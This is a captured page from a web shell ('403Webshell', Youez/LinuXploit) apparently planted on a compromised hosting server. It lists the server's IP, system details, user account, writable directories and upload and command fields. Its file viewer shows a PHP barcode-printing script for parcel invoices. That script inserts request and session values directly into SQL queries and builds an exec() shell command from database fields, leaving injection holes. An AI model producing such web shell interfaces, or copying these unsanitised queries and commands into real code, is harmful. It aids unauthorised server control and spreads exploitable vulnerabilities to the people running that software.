403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/.trash/files/fulltion.co.th/public_html/parcel/administrator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/.trash/files/fulltion.co.th/public_html/parcel/administrator//barcode2.php
<?php

require_once('../lib/sys_config.php');
require_once('../lib/class/SC_Query.php');
require_once('../lib/class/SC_Mysql.php');
require_once('../lib/class/SC_Master.php');
require_once('../lib/class/SC_Email.php');
require_once('../lib/class/SC_Function.php');
$db = new SC_Query();
$objMaster = new SC_Master();
$objFun = new SC_Function();
if(isset($_SESSION['lang_code']) && @$_GET['lang']){
	//$la = $_GET['lang'] ? $_GET['lang'] : "En";
	$_SESSION['lang_code'] = $_GET['lang'];
	$lang_code =  $_SESSION['lang_code'];
}elseif(isset($_SESSION['lang_code'])){
	$lang_code =  $_SESSION['lang_code'];
}else{
	$lang_code = "En";
	$_SESSION['lang_code'] = $lang_code;
}

$lang_value = $db->getAll('language_value','*',"lang_code='".$lang_code."'");
//echo "<pre>"; print_r($lang_value);
if($lang_value){
	$lang_set = array();
	foreach($lang_value as $ke => $va){
		$lang_set[$va['name']] = $va['value'];
		//echo $lang_set[$va['name']];
		//$lang = $lang_f;
	}	
}

$GetInvoiceID = array();
	if(isset($_GET['InvoiceID']))
	{
		unset($_SESSION['SSInvoiceReport']);
		$_SESSION['SSInvoiceReport'][] = $_GET['InvoiceID'];
	}
	//$_SESSION['SSInvoice'] = $_GET['InvoiceID'];
	$GetInvoiceID = $_SESSION['SSInvoiceReport'];
	//$GetInvoiceID['end'] = '0';
	//$GetInvoiceID = $_SESSION['SSInvoice'];
	unset($_SESSION['SSInvoiceReport']);
	
	foreach($GetInvoiceID as $val){ 
		$GetInvoice = $db->getOne( "invoice", "*"," InvoiceID = '".$val."'","" );
		$Getproduct = $db->getAll( "invoicedetail", "*"," InvoiceID = '".$GetInvoice['InvoiceID']."'","Order By InvoiceDetailID" );
		$sendRes = $db->getOne("customer","*"," CustomerID='".$GetInvoice['InvoiceSendID']."'"); 
		
	}


foreach($Getproduct as $key => $va){

@mkdir('C:\\Test');
$strFileName = "tset_".$va['ProductCode'].".prn";
$objCreate = @fopen('C:\\Test\\'.$strFileName, 'w');
$strText1 = "SM0,0\n
STt\n
SS3\n
SD17\n
SA0\n
TA0\n
SL400,24,G\n
SOT\n
SW607\n
CUTn\n
B1539,250,0,3,6,132,2,7,'".$va['ProductCode']."'\n
T575,311,b,2,2,0,2,N,N,'".$GetInvoice['InvoiceCode']."'\n
T111,311,b,2,2,0,2,N,N,'".$GetInvoice['InvoiceSetEndPoint']."'\n
P1\n";
fwrite($objCreate, $strText1);
fclose($objCreate);


echo exec(' COPY C:\\Test\\tset_'.$va['ProductCode'].'.prn /B \\\\127.0.0.1\\BIXOLONS');

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit